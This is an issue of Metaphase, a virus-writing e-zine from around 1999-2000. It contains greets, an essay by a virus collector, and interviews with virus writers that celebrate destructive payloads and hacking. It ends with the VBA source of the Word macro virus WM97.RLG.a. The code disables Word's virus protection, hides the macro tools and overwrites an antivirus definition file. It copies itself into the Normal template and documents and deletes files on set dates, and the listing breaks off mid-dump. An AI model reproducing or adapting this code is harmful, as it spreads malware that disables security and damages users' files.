Copyright: Metaphase Issue #2
Citation: Metaphase Issue #2


Index
Metaphase Issue 2

Intro

Articles

HLL

ASM

Misc

About


Intro
Metaphase Intro

Welcome

News

Greets


Welcome

Well it took long enought but here it is Metaphase #2!

Alot happend in makeing this mag. From RL problems

(The woman I was engaged to left me.) to VX scene problems

(WM97.Mellisa/VBS.ILOVEYOU) but all and all it got done.

Hopefully This mag will be a new start for Metaphase with the

addition of asm coders :-)  So You can't call us a HLL group anymore!

I hope you enjoy Metaphase #2

-Knowdeth

Current Metaphase Members:

Knowdeth

Sinixstar

Demonphreak_

Raven

Sblip

Nucleii

jackie

MetalKid

VxFaeRie

Evul

JFK

Lys Kovick

Buz


News

WM97.Melissa came and went...

spazed up a few people.. a lot of people came and went

in the VX scene  but through all and all we stuck it out.

A Small repeat of the melissa came only this time it

was a vbs i-wrom by the name of ILOVEYOU.

Like normal it put the scare in a few people.

It just goes to show you the new face of hll and where

the future seems to be going. As the internet becomes

bigger and bigger, fewer users actually know there computer

well enough. More users with less intellegence.

I would like to weclome all the new guys

to Metaphase. Hopefully they will keep up

the good work and make us stronger!

MetalKid, VxFaeRie, Evul,  JFK & Lys Kovick

I would also like to welcome back Buz.

So here is looking to the future and Metaphase #3

#3 is in the works all ready :-)

I'm not sure if we will go with HLP format or not.

I was thinking about a VB coded viewer.

So If anyone out there likes the hlp better let me

know. I'm always open to suggestions it makes the mag

better :-)


Greets

NoMercyVirusTeam

LineZero

Feathered Serpents

29A

3C

SLAM

NuKE

Matrix

VLAD

UC

CodeBreakers

Keferns

SMF

DDT

iKx

KPV

SOS

IRG

VLAD

VBB

Stealth

TI

SkamWerks

Everyone in #virus and #vir on Undernet!

& Everyone thats came and went in the scean.

---------------------------------------------------------------------------------------------------------------------------------------------

Knowdeth:

In no order at all I would like to thank all the following

people for helping me in one way or another,

Tally, foxz, Sblip, Crazh, nucleii, Demonphreak_, Black Jack,

Angus Thermopyle, jackie twoflower, SlageHammer, Asmhead, Serialkiller,

darkman, Owl, Buz, Duke, ULTRAS, Metgod, Rhape79, Super, Roadkill,

Gigabyte, CyberYoda, Benny, Evil-E, Opic, mad-man, Slumdung, RAiD,

Virtual Daemon, Virusbuster, Evul, Profane, JFK, Yesna, Cicatrix,

prometh, Vecna, [Queen], Raven, Sinixstar, Pupp, Deloss, zulu,

yozak, BSL4, rod, Trigger, Mandragore, Tornado, Spooky, Coke,

VicodinES, Griyo, Quantum, Lys Kovick, Q The Misanthrope, Yosha,

Virogen, Mister Sandman, Freiza, Rajaat, Landing Camel, Lord Natas,

Lord Arz, JMRK, Bumblebee, BOzO, T-2000, Septic, Sizif, AcidBytes,

NKB, Metalkid, VxFaeRie, Masey, 1nternal, LethalMynd, Screeching Demon,

nala, Zanat0s, Shiversss1, Techno Phunk, Firecracker, LovingGOD, Ruzz,

Vein, Forms, Darx Kies, Shaitan, SMT, Wombat, Flitnic, MGL, Dark Slayer,

jen, Pax, Morphine, Clau, Spyda, f0re, Aurodreph, MidNyte, flyShadow,

neko, Dark Chasm, Spanska, HomeS|ice, Wavefunc, helloguy, PZest,

SMOOTHiE, E[AX], AngelsKitten, Missy & God.

Everyone in #vir and #virus on Undernet.org!!!

All the groups in the group greets :-)

I hope I didn't forget anyone, if I did yell at me!! :-)

---------------------------------------------------------------------------------------------------------------------------------------------

jackie twoflower:

greets fly to:

 LineZer0 Network	- "That's why I am easy..."

 Metaphase VX Team	- Metaphase #2 roqs!

 Slagehammer	- Without your help I would be nothing

 HeXcrasher	- Let's redefine our network on 1st Sept.

 Fletcher	- Thanks for all you gave me

 Might	- What's up?

 f0re	- Hope GZ will work well

 Darkman	- Did you already start?

 VicodinES	- You are the best coder ever!

 Tally	- Thanks for all the stuff

 Gigabyte	- How is life? Thanks for BOT access!

 BlackJack	- Tatata

 Zer0	- What are you coding lately?

 Lord Arz	- Welcome to the planter's channel!

 Knowdeth	- TSWSVK works well...

 Spo0ky	- Austrian VX roqs! Hope we can get in contact

 Ruzz	- "Ruzz rules the world!"

 Evul	- Thanks for the webspace

 People on UNDERNET	- Evil-E, Yozac, PhreakX, SilVier, bughunter

 HomeSlice, Serialkiller, MidNyte & all others

 Following VX groups	- DVC, CodeBreakers, NMVT, CC, 29A, VTC,

  	NuKE, 3c, Ultimate Chaos & all others

 And of course all people I forgot, sorry, you know who you are!

---------------------------------------------------------------------------------------------------------------------------------------------

Raven:

Hello to all the beautiful Women everywhere!

Special Greetz to my son and Know

....you thought batch was gone

---------------------------------------------------------------------------------------------------------------------------------------------

Sblip:

I would Like to greet no one beacuse you all suck.

Greets to s1c, acidflux, el9

---------------------------------------------------------------------------------------------------------------------------------------------

Evul:

Thanks to everyone who has helped and offered suggestions

and compliants (I LOVE complaints) over the last year.

I especially want to thank everyone who has contributed

to coderz.net or helped, and participated in any way.

ok .. HI MOM!  Greets to

:AsmHead 	Asmodeus 	Benny	Darkman	f0re

Gigabyte	Glock	Griyo	Homeslice

Jackie Twoflower	Knowdeth	LethalMind 	Lifewire

Lord Arz	Lord Julus	Moebius	Mr. Sandman

Mandragore	Metalkid	Metgod	Neko	Nucleii

P. Zest	Prizzy	Queen	Raid	Rajaat

Rhape	Roadkil	Shadow Seeker	Sizif

Spyda	T-2000	Tally	Ultras	VEiN

Vegtam	Virus Buster	Virtual Daemon	VxFaerie	Yozis

Z0rdhak	Zulu	and of course - 	all undernet #virus and everyone else I havent

mentioned, for lack of disk space and burned brain cells  =]

and to Angela .. wherever you are.

---------------------------------------------------------------------------------------------------------------------------------------------

Sinixstar:

Hi Everyone!

---------------------------------------------------------------------------------------------------------------------------------------------

Demonphreak_:

Hi and stuff.

Oh, Hi Mom.

---------------------------------------------------------------------------------------------------------------------------------------------

VxFaeRie:

Rapture	Kamaileon	Bhunji

AcidFlux	Zer0-	^wrm^

Vrinidad	b0w2dac0w	Benny

dageshi	darkman	Spyda

Roadkil	Evul	PaX

MidNyte	Raid	SPo0ky

opic	Gigabyte	Knowdeth

Foxz	Morphine	PhreakX

Rhape79	VirusBuster	|Serial|

f0re	Silence	Secret

Tally	The_Might	CyberYoda

Flitnic	GriYo	jtr

Mandragore	nUcLeii	Rajaat

Mister Sandman	Evil-E	Bumblebee

Acidbytes	Slagehammer	Lord Arz

JFK	TPhunk	BSL4

veedee	Zulu	MetGod

jackie-	HomeS|ice	DX100h

`Cobra	`DS	TheHex

Darkness5	`heather`	Nala

Del_Armg0	mort	plush

ect	Simon7	Cyclone00

Uneek	Yesnah	Perikles

G-Nome	Denice	Phage

LiFEwiRE	xHeCs	Beuno

VaMpIrEsS	NathanY	Kassy-Kas

EXE-Gency	CS	HeLLlinkER

LysKovick	MetalKid	XaRaBaS

genux	Beamz	Dark-D0G

And greetz go out to anyone I forgot

---------------------------------------------------------------------------------------------------------------------------------------------

Nucleii:

Over the years the list of influences has grown too large to list. Ive tried

this many times before and seem to always leave out the most important.

buzz(call),cicatrix,evile,darkman,griyo,jfk,jtr(i remember),knowdeth,lordjulus,

mgl,opic(i miss you.),rajaat(hold on.),raid,rod,sblip,sinixstar,spanska,spooky,

spyda,T2000,technophn,ultras,vecna,vd,vic,virogen, and everyone else who has

been down with the set.

"Q" the misanthrope, I hope things have been going well, its been a while.

If you have a spare moment, contact me.

To evul, whom without i wouldnt have gotten myself into this mess.

Peace to my people involved with acidflux and the system integrity crew.

---------------------------------------------------------------------------------------------------------------------------------------------

MetalKid:

Greetz in no particular order:

Knowdeth

Evul

Metgod

OwlFS

[JFK]

Lyskovick

Zulu

and of coarse, all of #virus!

---------------------------------------------------------------------------------------------------------------------------------------------

JFK:

Bladey: jo0 are my favorite fur trapper.

Pockets: where the heck are you man?!?

Knowdeth: Spring cleaning.. time to start looking for 286's on the curb :)

MetGod: hope to see your ass in #virus more often :)

DrOwlFS: Where the hell is office 2000 ?

MetalKid: Next time youre in Milwaukee.. lemme know damnit :)

EditX: nickometer [JFK] ?

---------------------------------------------------------------------------------------------------------------------------------------------

Lys Kovick:

Lys would like to thank everyone that has been apart of his life...

My Mother and Father... if it wasn't for them having sex back in '80 I

                               wouldn't be here!

All My Friends...       Thanks for keeping me sane

Ok... now the VX Greets...

Skammy...               Read any good source lately?

=9...                        Still alive?

Stramonium...           Haven't seen you in a while...

Slage Hammer...       I've got some toys for you...

Phage...                   Thanks for the help...

BSL4...                    I'm coming over... sooner or later

Knowdeth...              I still have lots more to code

Jackie Twoflower...    I hope for the best...

Evul...                      Great hosting

Tally...                      I need to take a look at your site again ;)

Duke(SMF)...            I will eventually have a new website

You...                       Umm... wassup?

Everyone I forgot...     I know you're pissed that I didn't mention your

                                nick... ahh, too many drugs is bad on my mind ;)

                                (Hah, and I don't do drugs)

A few more greets...

Bitches...                  I can never have enough

Whores...                  Do I have to say anything?

Assholes...                If only it was a crime!

Mamacitalindas...       Ahh... life is good

Others...                    Umm... yeah


Articles
Metaphase Articles

mIRC Script Worms Easy in Lessions by Knowdeth

VBScript Simple Stealth by Knowdeth

DOS Device Driver Infection by Black Jack

Interview with Owl[FS] by Raven

Interview with Zulu by Raven

Using the getdents by Sblip

Outside People by Slagehammer / NVT & VTC

Interview with Techno Phunk by Assembler Head /NVT

Interview with ULTRAS by Assembler Head / NVT

Interview with JFK by Assembler Head / NVT

Interview with Int13h by Assembler Head / NVT

A simple easy guide to Ansi-Bombs by Deloss / NuKE

Word97 Macro Viruses Tutorial by ULTRAS

Word97 Payload by ULTRAS

The Art of Virii Collecting by Tally


Outside People by Slagehammer / NVT & VTC

  slagehammer@usa.net

Outside People

Averyone i nthe VX and AV scene are different points of view avout the relative

side. for Example there are coders in the VX side that have as fist thing to try new

technich of coding and fuck the AV programs. There are coders that write viruses like and artist make something of personal and there are coders that write viruses because they consider create viruses is = to create life and many other point of view averyone interesting.

In the other side there are AV coders that avery day find new viruses and update

the programs in a game that will be infinite.

New viruses = New AV programs = new knowledge for all !!!!

But in this 2 side or worlds there are few people that many in the 2 sides

condiser outsiders:

People like me SlageHammer.

Avery one that know me know that i am a virus collector and tester like

other friends like cicatrix and VirusBuster and Tally but for example the

AV side consider people like me in the VX side maybe because , for example me

are member of a Virus Writing group.

This article want to show at the 2 sides that in the 2 sides there are people in

the middle because some virus coders sometimes want to send to AV companies their new bugs but for some reasons can not do by himself so ask this to me and sometimes people in the AV send me new version of their program to know my point of view about them and if in my

opinion detects a good % of the new viruses around.

If is true that sometimes i send stuff to the av companies but is only when an

author ask this directly to me and only

if the autor ask to me to send the stuff. No other stuff is sent without a

permission !!!!!

In the other side when i got a new version again not released of an AV program i

use it only for my test and when i found

something wrong in it, i send the list of the problem but not the files that

generate the problem.

So i think that in the realty there are not 2 sides but 3 one on the lest, one

on the right and one in the middle.

People like me are the competition to create viruses maybe not relly good

viruses but anyway viruses but the first interest is to find new stuff for the persoanl collection and new information in the 2 sides without give out information relative at one specific file or a type.

It is true that for me is important primary to help the brothers in the vx side

with all my stuff and all my knowledge and i use all this information not to help the AV men but to incremetate the knowledge in the vx side even when i discover a new av program that maybe has something new in front other av, and in the same time when i check my stuff with a new av and it crashes send the program to the companies with the result of the scan but without

the virus file. So i think to be usefull to the 2 sides and the got knowledge if

at benefict of averyone is interested.

All this is my point about myself and i don't want to offend anyone and a side

or in the other is only a way to show at the public that someone consider me an AV or VX or an

intruder. MY position is always clear and if i can help someone in someway i do it without

exit to the ethic to give out things that are only for my.

Anyway i am a virus collector and i like to get as soon as possible new stuff so

if reading it anyone has any or want to send any to me, always is welcome !!!

slagehammer@usa.net


Interview with Techno Phunk by Assembler Head / NVT

This is my interview with leader of Technological Illution (TI). Enjoy it...

Greeting's Tphunk,

Tell me about your age, hobbie, what part of world you come from,

about your self, etc...

13, virus writing, running, and drums.....USA...

ermm...I'm a shorter guy, about 5'4"...I'm not a dork like most

people belive a virus writer to be, and I'm not ugly/fat like some also belive ...o.k, so that was my oppinion, ask any girl :P heehee.

No, seriosly, I'm an athlete, a muscisian, and a virus writer.

When you make Technological Illution?

End of 97

Why you choose that name? tell me a story about that.

Me and aperson where looking for a name having to do with

technological conspiracy, so after many hours of looking in the

dictionary, we came to this name.

Who you get your handle?

Techno - music

Phunk - dancing, or so. also for rythm (drums)

How many articles you write so far?

TI#1, my articles about 20 so far. (I think, if not, very close)

You have idea to write more?

for TI#2, I have descided to stop dumping all my mind into one

mag...so we have more material for #2.

How many computer language you know?

ermm...lets see....ASM, QB, some C, Shell Script (if you call this

language)

and I know batch (if you call this a language)...but I like

ASM best, and code in ASM whenever possible.

Most of your members are teens? who the youngest?

Me.

How many active members in your group now?

6.

If someone want to join your group you will accept?

Yes, granted that they have writen a virus type ABOVE com, and

they have a working knowledge of ASM (so they can write original/new viruses/ideas)

Are your group development DOS virus or Win32 virus? what your

reason?

Dos AND win32, I'm the first to start into win32, but I have a feeling that Doxtor L will be soon to learn it.

Have mail to contact you?

tinet@sourceofkaos.com

What your group plan in the future?

To write a ton of new idea viruses, that implement new

things, or are advanced enough to tick of AVs. And otherwise,

make the lifes of AVers very harsh.

Are your group help newbie?

not really....some articles would...but we are more for

the intermediate. (see later)

What you think about next generation virus writer, like you? cuz

you so young, right?

Next Generation is going to be rather fun, as we'll have lots of

people like me, but then we'll have others coming in...and it's always a neverending but so much fun cycle. I personaly would like to some day be as good as some of the current "older" vx'ers such as some of 29a.

Why your group target to intermediate not newbie, don't you think

newbie very important for the future?

I think they are....but, lots of other people for them. We target the

intermediate as LOTS of people are coding dumb com appenders, that COULD be coding mbr/boot and win32, if they just tried...or rather, had someone to teach them...also we feel that we need to help the newbies, once they have learned ASM to a level of understanding...there is LITTLE material for the intermediate out

there.

Can you tell me what the special about win32? write some code

down here about simple infect com file ;-))

win32 are simple....but not very short my friends. You can look in

TI#1 (which I plan on publishing w95/98.gabey in btw)....for an example of simplicity. Basicly, in win32 you must do a few things diffrent. First of all, you need to get delta in a 32 bit register, ebp. Then, fetch API's, wether it be from the IT (import table)...or from the kernel in memory. Once you have the API's you need. You can search out a file. .....(this is assuming a runtime infector)

check for PE signiture, and MZ also. Then, add a new section, or

place the code in the free space of the PE header, or so on. It all depends on what you want to do. win32 is a new world, and LOTS of things not yet done. However, it'd be hard to write a win32 virus in simplicity of COM appender...as they are usualy about 500-600 lines...or more (depends on who you are, and how good you are).

A very easy win32 program example (several to be honest) can be

found at: http://tinet.cjb.net

Thanks any way to write it and answers my interview. See you

soon in #vir

channel. Bye

Assembler Head

Techno Phunk / TI


Interview with ULTRAS by Assembler Head / NVT

January 1999

Here is my interview with Ultras, enjoy........

Greeting's Ultras..................

Introduce about your self(age, where you from, hobbie, etc...)

Well, my nick ultras i`m students first course, me 16 years, live in Russia (Moscow). Learn on programmer in free from training and from computer time ñame to its girlfriend or play in football, watching TV, listening to music.

When you start in computer?

I there was 8 years when I have bought first computer Duet it there was russian and was connected to tV. Afterwards I had ZX Spectrum, in 1996 me and brother have bought pentium.

Where you get your handle?

This handle I has got from friends, several person me so name, i do not know why.I its want to change but friends spoke ULTRAS this c00L handle!

When you start in virii scene?

All began in 1996 I was infected what that virus, my brother bring antiViRuS and that only yell TSR/COM/EXE and nothing could not do. I has written this virus on diskette and became to collect them. Since each month a collection of viruses increase. In medium 1997 me in

collection has got WM97.NightShade in week I has done their own first macro virus for word97 afterwards I has done WM97.Jackal but did not know where its place in internet, afterwards I got acquainted with cicatrix and aurodreph and has sent it their own virus wm97.jackal

afterwards I became to send it their own viruses.

What computer language you know?

asm, pascal, visual basic, basic. I much likes asm from for its greater possibilities, but program for windoze write on visual basic.

What is your view on macro viruses vs. assembly or HLL viruses?

Writing the macro viruses an occupation interesting, but interest quickly disappears since their much easy write. I consider that

in a short time macro virus will grow old since last of version word already complex to write viruses, soon possible this will become impossible. But viruses on assembly nor when do not disappear they will be written always, will only be improved with each year.

You like make destructive payload?

When I began to write viruses I like destructive payload, but afterwards I has solved that is necessary every time do new payload.

How many virii you make so far? which is best?

13 macro viruses and several on asm and VB, best of them Wm97.saturn.

What group are you join in?

Sing of Scream [SOS]

Do you make any virii engine?

Yes, I create several engine:

UMP[ultras macro polymorphic]

UMPE [ultras macro polymorphic engine]

UAMP [ultras access macro polymorphic]

ME [Macro Encryptor]

And what you do at there?

I write viruses and article, possible to second e-zine SOS I shall do viewer.

Describe about future virii?

It is Difficult to say, but I will try to describe its. Possible this will: BS/MBR/EXE/COM/BAT/SYS/BAS/NE/XLS/PE/DOC/LE/OVL/ASM/PAS/VXD infector which will have permutating polymorphic engine, full stealth dos and win32, retro and a great deal another. Possible this only my fantasies and such virus will not real to write, but I seem that it wakes.

Have any email or icq to reach you?

ultras@hotmail.com

url: http://sourceofkaos.com/homes/ultras

Does any close friend, parents, girlfriend know you make virii? what they comment?

Some friends sneer, other are interested. When I turn gray for computer in output, usually mother calls at and speaks "again their own viruses write", but father speaks "bore me your viruses, give me in Quake to play" Girlfriend much does not like when I dialect about computers with friends.

What your favorite trick in your virii?

Can be virus wm97.maze it scatters rubbish until wakes is packed whole disk, and wm97.biohazard which generates password on document.

Why you choose virii not hacking, phreaking, anarchy?

I to like this concern with, I can not live the without viruses writing.

You like warez?

Yes certainly, beside me brother warez. I too want to become warez, but viruses to write on much interesting.

What AV you like to use?

AVP by Kaspersky, g00d AV.

What tutorial you read to make you free to make Vx?

I read plenty of tutorial nearly all that I got, in the same way I read avp virus encyclopedia and heard from there much interesting for itself.

Would you say something to newbie(beginner)?

In the first place good luck in writing the viruses, and angelic patience if well try that all be little more read tutorial, literature.

Would you say any greet to Virus writer out there?

Greetz to all SoS group members, SlageHammer, Foxz, Asmhead, VicodinES, Cicatrix, BuZ, Murkry,AuRoDrEpH, Jacky Qwerty, VirusBuster, CyberYoda and my friends on #vir and all russian virmakers.

THanks Ultras to answers my interview. See you soon at #vir channel. Bye

ThanX Bye AsmHead!


Interview with JFK by Assembler Head / NVT

Greeting's JFK,

Please introduce your self about age ,hobbie , where you from?

I'm JFK, Ph3ar me! umm I'm about 19 and I'm from Wisconsin.

How you start in computer?

My stepfather and uncle were in the computer business while I

was growing up, so I've I had a computer around since I was about

5. I first started getting into computers while watching my family

play leisure suit larry (the older ones, like 1,2,3).

When you start out in virus scene?

well, I didn't really get into the "scene" till around February 98

but I've been interested in viruses since about 95

How many computer language you know?

I really only know C and ASM, but I'm learning Perl, C++, and visual

basic, well, it take only 5 mins to learn visual basic.

Where you get your handle?it mean something?

Back when I was in school, I use to skip out of class a lot and mess

around on the computers in the library. They had some type of,,, I dunno what to call it, but it had a LOT of info on EVERYTHING and I found some stuff on the VX board in Bulgaria. Whoever wrote the article mentioned something about someone calling themselves Ronald Reagonon the Bbs, so I thought, "Hey JFK is a good name".

Are you in Vx group now?

ermm, sorta, don't really want to get into details on that.

Which Av you use everytime?

I use to use F-Prot, but now I stick with AVP

What you think about next generation virus writer?

I think i sort of am a next generation virus writer :)

we rock! heh.

Have any trick in your virus?

ermm, no, I had lots of good ideas, but I'm to lazy to program them.

How many virus you write so far?

2 major ones, a bunch of shitty ones

Are you write any Vx engine?

negative

Why you choose virii not hacking, phreaking, cracking, etc?

I chose all of the above. I've hacked root on a couple of boxes,

cracked a single program (like hex workshop32 or something)

and made a half-assed attempt at making a redbox

you like warez?

doesn't everybody?

Are your country against computer criminal?

I think most countries are.

What you think about macro virus?are it's a future virus?

They're WAY TO EASY to program. :) I never thought I would see

a macro in the top ten list, but I guess macro virii have a place

in the VX world. People exchange documents a lot more than they

exchange programs.

Have email or something to reach you?

jfk_@excite.com

Your comment about disbanded many good virus group?

phalcon/skism was ereet, so was vlad

Are your friends, parents, girlfriend, know you write virii? and what

they comment?

everyone knows I write viruses, some of them think I'm psychotic, some of them don't care, some of them think I will go to prison.

Any suggestion to newbie?

Skip dos, dos is pointless.

Any greet to virus writer out there?

to many to list

Thanks to spend your time answer my interview. See ya next time

in #vir channel. bye


Interview with Int13h by Assembler Head / NVT

Interview Int13h in middle January 1999

Greeting's Int13h :o))

Introduce your self (age, hobbie, where you from, etc.)?

OK. I am Int13h, I am 21 years old and I am southamerican,

specifically from Paraguay. I like books, computers, music

and football.

What the law about virus writer in your place? are virus illegal?

Here, the law against computer crime existed from the january 1 of 1999,

the unauthorized modification of user's data is illegal acording to

that law, and you can go in jail for doing it. So, virus are illegal.

When did you start out in computer?

I began studying about computers when I was 14.

When did you start in virus scene?

I think it was in august '96, when my country joined to Internet.

How you got your handle?

I just liked the Int 13h, because is very special for boot viruses and

also is used for some viruses to kill HDs :)

How many computer language you know?

Let me see: QB, VB, WordBasic, Assembler, Pascal, C++, Foxpro,

Cobol, PERL, HTML. I am not using Cobol, C and Pascal for ages.

Are you member of group?

Rite now I am not, I am retired. I leave IKX just one month ago.

How many virus you write?

More than 40.

And your favorite from all?

Only some of the published in vx-magazines: Kuarahy, Literatura, Win32.Borges.

What you think about next generation of virus writer?

They will be win32.virus_writers. They have a harder world in front

of them, the new frontier to conquer.

What is your view on macro viruses vs. assembly or HLL viruses?

My scale is the following:

10000000000  Assembly viruses

      10000  HLL viruses

    -100000  Macros

How you test all your virii? or you have other computer to test

your Vx? don't you backup your data first?

All my viruses were tested on my own machine, a 486 one. Nope,

I never backuped data. In my earlier times I got infected by

Paraguay and I had to replace all EXEs and COMs from my machine.

But the accident never was repeated :)

Have email to reach you?

My email is i13h@hotmail.com

Why you like virii not hacking, phreaking, anarchy, etc?

Coding virus is creating life, just this activity in the computer

world fills me fully.

You like warez?

Yes

What AV you use most time?

AVP

You like make something destructive Vx?

One version of Paraguay carries a destructive payload. Also the Heavy Metal virus, coded together with Dark Avenger is destructive. Usually my viruses aren't destructive, but I haven't objections against destruction.

Did your close friends, parents, girlfriend know you write Vx? and what they comment?

My closer friends knows and they know that I won't modify my attitude

just for what they think, they knows my personality. My gf also knows

it, but she does not understand very well the matter, she just knows

that I used to do something not-well-seemed.

You still active in your group now?

Nope. I leave my group (IKX) some weeks ago.

Any message to newbie to start in Vx?

Read tutorials, download virus magazines, use your tasm and ask.

Any greet to all virus writer out there?

To IKXers, 29Avers and all my friends in the scene.

Thanks Int13h for answers my interview. I hope i will see you soon in

#vir channel. See ya.

Thanks to you, it was a pleasure.


HLL
WM97.RLG.a by Knowdeth

WM97.frisk.b by Knowdeth

VBS/mIRC.Sheep.a by Knowdeth

WM97.secret.b by SinixstaR

mIRC.nastysarah.a by Demonphreak_

WordMacro.Crypt by ULTRAS / SOS

mIRC.bADbOY by Masey / NuKE

Hot b-t by Duke / SMF

MrFloppy 1.0 by Dark Weenie

Metaphase Issue #2


HLL
Metaphase HLL

WM97.RLG.a by Knowdeth

WM97.frisk.b by Knowdeth

VBS/mIRC.Sheep.a by Knowdeth

AM97.Julie.a by Knowdeth

I-Worm.Missy.c by Knowdeth

BeOS.Kate.a By Knowdeth

Bat.HomeSlice.a by Knowdeth

XM97.Brandi.a by Knowdeth

AM97.AccessiV Disassembly By Knowdeth

WM97.secret.b by SinixstaR

mIRC.nastysarah.a by Demonphreak_

Bat.AntiBecky by Raven & Knowdeth

IRC-Worm.Dots.a by Raven

Word97/VBScript.Bleed by jackie twoflower

Class97Macro.bleed by jackie twoflower

Class.Beg_to_Differ by jackie twoflower

Cross.Lys by Lys Kovick

WM97.Cancer by Lys Kovick

WM97.Lame by Lys Kovick

mIRC.bADbOY by Masey / NuKE

WordMacro.Crypt by ULTRAS / SOS

Hot b-t by Duke / SMF

MrFloppy 1.0 by Dark Weenie

WM97/XM97 Dieing Seas by Yozak

XM97.Fly by FlyShadow

WM97.Shadow by FlyShadow

PP.DarkPoision by Yozak

Lt-100 by T-2 / IRG

VBS.Shine by GzR / NuKE

HTML.TwisT by GzR / NuKE

HLLP.Jessie by GzR / NuKE

VBS.Frieza by Frieza

WM97.Campylobacter by BSL4 / 3C

WM97/2K.String by e[ax]

Word2000.GarGle SMOOTHie / Zero Gravity

Word2000.ChiQui by SMOOTHiE / Zero Gravity


WM97.RLG.a by Knowdeth

This sucker is HUGE!!! I didnt make it to spred on

low end machines. It could but it would be super

noticable it was made more just for fun ;-)

The main reasion it was done was because I wanted

too see if I could drop "wallpaper" hehe

It works fine, Its just big because it is carrying

a bmp file.

Attribute VB_Name = "RLG"

Sub ToolsMacro()

End Sub

Sub FileTemplates()

End Sub

Sub ViewVBCode()

MsgBox "This program has performed an illegal operation and will be shut down.", vbCritical, "Microsoft Word"

Application.ScreenUpdating = False

Application.ShowVisualBasicEditor = False

Application.EnableCancelKey = wdCancelDisabled

CommandBars("tools").Controls("Macro").Delete

End Sub

Sub HelpWordPerfectHelp()

MsgBox "This program has performed an illegal operation and will be shut down.", vbCritical, "Microsoft Word"

End Sub

Sub ToolsCustomize()

End Sub

Sub AutoOpen()

On Error goto this_thing

' [WM97.RLG.a]

' by -KD- / Metaphase VX Team & NoMercyVirusTeam 1998

' Tech used from Mr.Vic, 29/A & NoMercy special thanks

Open "C:\f-prot\macro.def" For Output As #1

Print #1, " WM97.RLG.a"

Print #1, " WM97.RLG.a"

Print #1, " WM97.RLG.a"

Close #1

SetAttr "C:\f-prot\macro.def", vbReadOnly

this_thing:

Application.ShowVisualBasicEditor = False

Application.ScreenUpdating = False

Application.DisplayStatusBar = False

Application.EnableCancelKey = wdCancelDisabled

With Options

  .ConfirmConversions = False

  .SaveNormalPrompt = False

  .VirusProtection = False

End With

CommandBars("tools").Controls("Macro").Delete

CommandBars("tools").Controls("Customize...").Delete

CommandBars("view").Controls("Toolbars").Delete

CommandBars("view").Controls("Status Bar").Delete

End Sub

Sub AutoClose()

On Error Resume Next

Application.VBE.ActiveVBProject.VBComponents("RLG").Export "c:\windows\RLG.dll"

Application.ShowVisualBasicEditor = False

Application.ScreenUpdating = False

Application.DisplayStatusBar = False

Application.EnableCancelKey = wdCancelDisabled

With Options

  .ConfirmConversions = False

  .SaveNormalPrompt = False

  .VirusProtection = False

End With

CommandBars("tools").Controls("Macro").Delete

CommandBars("tools").Controls("Customize...").Delete

CommandBars("view").Controls("Toolbars").Delete

CommandBars("view").Controls("Status Bar").Delete

For Z = 1 To NormalTemplate.VBProject.VBComponents.Count

If NormalTemplate.VBProject.VBComponents(Z).Name = "RLG" Then NI = True

Next Z

For Z = 1 To ActiveDocument.VBProject.VBComponents.Count

If ActiveDocument.VBProject.VBComponents(Z).Name = "RLG" Then AI = True

Next Z

If AI = True And NI = False Then Set B = NormalTemplate.VBProject _

Else If AI = False And NI = True Then Set B = ActiveDocument.VBProject

B.VBComponents.Import ("c:\windows\RLG.dll")

On Error GoTo Exit_RLG

If Day(Date) = "1" Then

  Assistant.Visible = True

  With Assistant.NewBalloon

    .Icon = msoIconAlert

    .Text = "by -KD-" & Chr$(13) & "" & "Dec 1998" & Chr$(13) & "" & "Give Freedom to My Brothers in Indonesia!!"

    .Heading = "WM97.RLG.a"

    .Animation = msoAnimationGetTechy

    .Show

  End With

End If

Exit_RLG:

ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument

SetAttr ("c:\windows\RLG.dll"), vbHidden + vbSystem

On Error GoTo Exit_me

If Day(Date) = "1" Or Day(Date) = "10" Or Day(Date) = "20" Or Day(Date) = "30" Then

  Call WallPaper

End If

Exit_me:

On Error GoTo Exit_This

If Day(Date) = "2" Or Day(Date) = "11" Or Day(Date) = "21" Or Day(Date) = "31" Then

  On Error Resume Next

  Kill "c:\windows\regmeta.reg"

  Kill "c:\windows\meta.bmp"

  Kill "c:\windows\command\1.bat"

  Kill "c:\windows\command\meta.scr"

End If

Exit_This:

End Sub

Sub WallPaper()

On Error Resume Next

K$ = "c:\windows\command"

Open K$ + "\meta.scr" For Output As #1

Print #1, ""

Print #1, "N META.BMP"

Print #1, "E 0100 42 4D CA 48 00 00 00 00 00 00 36 04 00 00 28 00"

Print #1, "E 0110 00 00 84 00 00 00 85 00 00 00 01 00 08 00 00 00"

Print #1, "E 0120 00 00 94 44 00 00 00 00 00 00 00 00 00 00 00 01"

Print #1, "E 0130 00 00 00 01 00 00 FF FF FF 00 10 10 10 00 21 21"

Print #1, "E 0140 21 00 31 31 31 00 F7 F7 F7 00 E7 E7 F7 00 5A 5A"

Print #1, "E 0150 73 00 63 63 84 00 31 31 42 00 63 63 94 00 5A 5A"

Print #1, "E 0160 8C 00 31 31 5A 00 52 52 B5 00 08 08 18 00 00 00"

Print #1, "E 0170 10 00 00 00 21 00 00 00 29 00 00 00 39 00 00 00"

Print #1, "E 0180 42 00 00 00 4A 00 29 31 AD 00 21 29 9C 00 7B 84"

Print #1, "E 0190 CE 00 52 5A 9C 00 21 31 B5 00 10 18 5A 00 42 4A"

Print #1, "E 01A0 84 00 31 39 6B 00 21 39 CE 00 18 29 9C 00 08 10"

Print #1, "E 01B0 42 00 18 31 E7 00 B5 BD E7 00 42 4A 73 00 31 42"

Print #1, "E 01C0 9C 00 21 31 84 00 10 18 42 00 21 39 BD 00 18 39"

Print #1, "E 01D0 EF 00 08 18 6B 00 08 21 AD 00 00 18 9C 00 A5 B5"

Print #1, "E 01E0 FF 00 7B 8C DE 00 52 63 B5 00 42 52 9C 00 29 39"

Print #1, "E 01F0 84 00 29 42 B5 00 10 21 73 00 18 31 AD 00 18 39"

Print #1, "E 0200 CE 00 18 39 DE 00 10 29 9C 00 08 29 BD 00 00 18"

Print #1, "E 0210 84 00 A5 B5 F7 00 7B 94 FF 00 4A 5A 9C 00 42 5A"

Print #1, "E 0220 B5 00 4A 6B F7 00 21 31 73 00 39 5A D6 00 31 52"

Print #1, "E 0230 D6 00 21 39 9C 00 31 5A F7 00 18 31 9C 00 18 39"

Print #1, "E 0240 BD 00 10 29 8C 00 10 31 AD 00 08 29 AD 00 BD C6"

Print #1, "E 0250 E7 00 7B 84 A5 00 63 73 AD 00 7B 94 EF 00 5A 73"

